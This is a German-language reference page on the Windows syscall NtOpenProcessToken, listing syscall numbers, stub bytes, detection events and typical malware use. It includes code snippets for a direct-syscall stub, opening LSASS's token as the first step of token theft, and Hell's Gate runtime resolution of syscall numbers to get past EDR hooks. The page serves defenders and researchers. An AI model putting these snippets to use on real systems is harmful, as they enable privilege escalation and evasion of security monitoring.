> Windows Syscalls
ntoskrnl.exeT1134T1134.001T1106

NtOpenProcessToken

Öffnet das einem Prozess zugeordnete Zugriffstoken und gibt ein Handle darauf zurück.

Prototyp

NTSTATUS NtOpenProcessToken(
  HANDLE       ProcessHandle,
  ACCESS_MASK  DesiredAccess,
  PHANDLE      TokenHandle
);

Argumente

NameTypeDirDescription
ProcessHandleHANDLEinHandle auf den Prozess, dessen Token geöffnet wird. Muss PROCESS_QUERY_INFORMATION (oder PROCESS_QUERY_LIMITED_INFORMATION) besitzen.
DesiredAccessACCESS_MASKinAngeforderte Token-Rechte, z. B. TOKEN_QUERY (0x8), TOKEN_DUPLICATE (0x2), TOKEN_ADJUST_PRIVILEGES (0x20), TOKEN_ALL_ACCESS.
TokenHandlePHANDLEoutErhält bei Erfolg das Handle auf das geöffnete Token. Muss mit NtClose geschlossen werden.

Syscall-IDs pro Windows-Version

Windows-VersionSyscall-IDBuild
Win10 15070x114win10-1507
Win10 16070x119win10-1607
Win10 17030x11Dwin10-1703
Win10 17090x11Fwin10-1709
Win10 18030x121win10-1803
Win10 18090x122win10-1809
Win10 19030x123win10-1903
Win10 19090x123win10-1909
Win10 20040x128win10-2004
Win10 20H20x128win10-20h2
Win10 21H10x128win10-21h1
Win10 21H20x129win10-21h2
Win10 22H20x129win10-22h2
Win11 21H20x12Fwin11-21h2
Win11 22H20x131win11-22h2
Win11 23H20x131win11-23h2
Win11 24H20x133win11-24h2
Server 20160x119winserver-2016
Server 20190x122winserver-2019
Server 20220x12Ewinserver-2022
Server 20250x133winserver-2025

Kernel-Modul

ntoskrnl.exeNtOpenProcessToken

Verwandte APIs

OpenProcessTokenNtOpenProcessTokenExNtOpenThreadTokenNtDuplicateTokenNtQueryInformationTokenNtAdjustPrivilegesToken

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 33 01 00 00      mov eax, 0x133
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

NtOpenProcessToken ist die historische Variante des Token-Öffnungs-Primitivs, aus Quellkompatibilität mit der ursprünglichen NT-API erhalten. Moderne Pfade in `kernel32!OpenProcessToken` rufen tatsächlich `NtOpenProcessTokenEx` mit `HandleAttributes = 0` auf. Der SSN driftet stark zwischen Builds — von `0x114` auf Windows 10 1507 bis `0x133` auf Windows 11 24H2 — was ihn zu einem schlechten Kandidaten für hartkodierte SSNs und zum Lehrbuchbeispiel für dynamische Auflösung über Hell's Gate / Halo's Gate macht. Intern dispatcht der Aufruf über `SeQueryAuthenticationIdToken` und `ObOpenObjectByPointer` gegen den EPROCESS->Token-Pointer.

Häufige Malware-Nutzung

Stets der erste Schritt in einer Token-Diebstahls-Kette: einen Prozess hoher Integrität (winlogon, services.exe, lsass.exe) mit `TOKEN_DUPLICATE | TOKEN_QUERY` öffnen, dann NtDuplicateToken aufrufen, um ein SecurityImpersonation-Token zu fälschen, und schließlich NtSetInformationThread (ThreadImpersonationToken) oder CreateProcessWithTokenW, um unter der gestohlenen Identität zu starten. Das ist das klassische Incognito-/Mimikatz-`token::elevate`-Muster und Grundlage der meisten Post-Exploitation-Lateral-Movement-Aktivitäten in Conti-, BlackCat- und APT29-Vorfällen.

Erkennungs­möglichkeiten

Das Öffnen eines Tokens auf einem fremden Prozess erfordert in den meisten Fällen SeDebugPrivilege — Windows-Security-Event 4672 (Special Privileges Assigned) auf der aufrufenden Logon-Session ist ein starker Vorbote. Event 4663 (Object Access) mit Objekttyp `Token` und 4673 (Sensitive Privilege Use) feuern, wenn die Operation gegen einen privilegierten Prozess erfolgreich ist. Der ETW-Provider `Microsoft-Windows-Kernel-Audit-API-Calls` emittiert `PsOpenProcessToken`-Events. EDRs hooken `ntdll!NtOpenProcessToken`; direkte Syscalls umgehen User-Mode-Hooks, der Kernel erzeugt jedoch weiterhin SE_TOKEN_USER-Object-Manager-Auditing auf geschützten Prozessen.

Direkte Syscall-Beispiele

asmx64 direct stub (Win11 24H2)

; Direct syscall stub for NtOpenProcessToken — SSN 0x133 on Win11 24H2
; NOTE: SSN varies across builds; resolve dynamically in production.
NtOpenProcessToken PROC
    mov  r10, rcx          ; ProcessHandle
    mov  eax, 133h         ; SSN (Win11 24H2)
    syscall
    ret
NtOpenProcessToken ENDP

cToken-steal primer (open LSASS token, classic Incognito chain)

// Step 1 of an impersonation chain: open a privileged process token.
// Requires SeDebugPrivilege on the calling thread.
HANDLE hLsass = NULL, hToken = NULL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
CLIENT_ID cid = { (HANDLE)(ULONG_PTR)lsassPid, NULL };

NTSTATUS s = NtOpenProcess(&hLsass,
                           PROCESS_QUERY_LIMITED_INFORMATION,
                           &oa, &cid);
if (NT_SUCCESS(s)) {
    // TOKEN_DUPLICATE so we can later forge an impersonation token.
    s = NtOpenProcessToken(hLsass,
                           TOKEN_DUPLICATE | TOKEN_QUERY,
                           &hToken);
    // -> feed hToken into NtDuplicateToken -> NtSetInformationThread
}

rustHell's Gate dynamic SSN lookup

// Resolve NtOpenProcessToken SSN at runtime — SSN moves every Windows build.
use std::arch::asm;
use std::ffi::CString;
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress};

unsafe fn ssn_from_export(name: &str) -> u32 {
    let ntdll = GetModuleHandleA(b"ntdll.dll\0".as_ptr());
    let c = CString::new(name).unwrap();
    let p = GetProcAddress(ntdll, c.as_ptr() as *const u8) as *const u8;
    // Pattern: 4C 8B D1 B8 ?? ?? 00 00
    assert_eq!(*p.add(0), 0x4C);
    assert_eq!(*p.add(3), 0xB8);
    (*p.add(4) as u32) | ((*p.add(5) as u32) << 8)
}

#[unsafe(naked)]
unsafe extern "system" fn syscall_thunk(
    _process: HANDLE,
    _desired: u32,
    _token_out: *mut HANDLE,
    _ssn: u32,
) -> i32 {
    asm!(
        "mov r10, rcx",
        "mov eax, r9d",   // SSN supplied as 4th arg
        "syscall",
        "ret",
        options(noreturn),
    );
}

MITRE ATT&CK-Mappings

Last verified: 2026-05-20